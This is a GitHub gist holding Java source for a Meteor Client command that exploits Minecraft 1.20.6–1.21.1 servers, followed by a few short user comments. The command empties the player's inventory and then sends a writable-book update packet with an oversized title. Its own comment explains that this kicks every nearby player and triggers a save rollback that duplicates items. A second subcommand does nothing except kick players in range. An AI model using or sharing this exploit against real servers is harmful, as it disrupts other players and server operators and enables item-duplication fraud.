Skip to content

Instantly share code, notes, and snippets.

@Thorioum
Created August 24, 2024 06:20
Show Gist options
  • Save Thorioum/cf9726faab6d8fdd351049da3a66fd4a to your computer and use it in GitHub Desktop.
Save Thorioum/cf9726faab6d8fdd351049da3a66fd4a to your computer and use it in GitHub Desktop.
Minecraft 1.20.6->1.21.1 Writable Book Dupe
package com.example.addon.commands;
import com.mojang.brigadier.builder.LiteralArgumentBuilder;
import com.mojang.brigadier.exceptions.SimpleCommandExceptionType;
import meteordevelopment.meteorclient.commands.Command;
import net.minecraft.command.CommandSource;
import net.minecraft.item.Items;
import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket;
import net.minecraft.screen.slot.SlotActionType;
import net.minecraft.text.Text;
import java.util.ArrayList;
import java.util.Optional;
public class WritableDupeCommand extends Command {
private static final SimpleCommandExceptionType NOT_HOLDING_BOOK = new SimpleCommandExceptionType(Text.literal("You must be holding a writable book to use this."));
public WritableDupeCommand() {
super("wbook-dupe", "contact 'thorioum' on discord for inquires");
}
/**
The BookUpdateC2SPacket accepts up to 128 characters inside the title in the packet, however,
the WrittenBookContentComponent that is created when the server uses this packet only accepts 32 characters.
If you send an update packet with over 32 characters it leads to the server creating a book with invalid component data,
then also sending that invalid update to you and everyone around you kicking each other,
after you get kicked the server fails to save your player data with the invalid components, and it reverts your data
back to whatever the data was when you had just joined the server last,
you can then essentially join, drop items, use this command, and have the items back in your inventory and also on the ground
@author Thorioum
*/
@Override
public void build(LiteralArgumentBuilder<CommandSource> builder) {
builder.executes(context -> {
if (mc.player.getMainHandStack().getItem() != Items.WRITABLE_BOOK)
throw NOT_HOLDING_BOOK.create();
ArrayList<String> pages = new ArrayList<>();
pages.add("popbob");
for (int i = 9; i <= 44; i++) {
if (mc.player.getInventory().selectedSlot == i-36) continue;
mc.interactionManager.clickSlot(mc.player.currentScreenHandler.syncId, i, 10, SlotActionType.THROW, mc.player);
}
mc.player.networkHandler.sendPacket(new BookUpdateC2SPacket(mc.player.getInventory().selectedSlot, pages, Optional.of("popbobfunnysexdupe2024hahafunnyrealrealreal")));
return SINGLE_SUCCESS;
});
//use if you don't want to empty your inventory and just want to kick people in radius
builder.then(literal("dont-toss").executes(context -> {
if (mc.player.getMainHandStack().getItem() != Items.WRITABLE_BOOK)
throw NOT_HOLDING_BOOK.create();
ArrayList<String> pages = new ArrayList<>();
pages.add("popbob");
mc.player.networkHandler.sendPacket(new BookUpdateC2SPacket(mc.player.getInventory().selectedSlot, pages, Optional.of("popbobfunnysexdupe2024hahafunnyrealrealreal")));
return SINGLE_SUCCESS;
}));
}
}
@tinywifi
Copy link

fire

@anthony1204
Copy link

why pop bob

@Satanaelcode
Copy link

@anthony1204
because popbob sexdupe v2!!!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment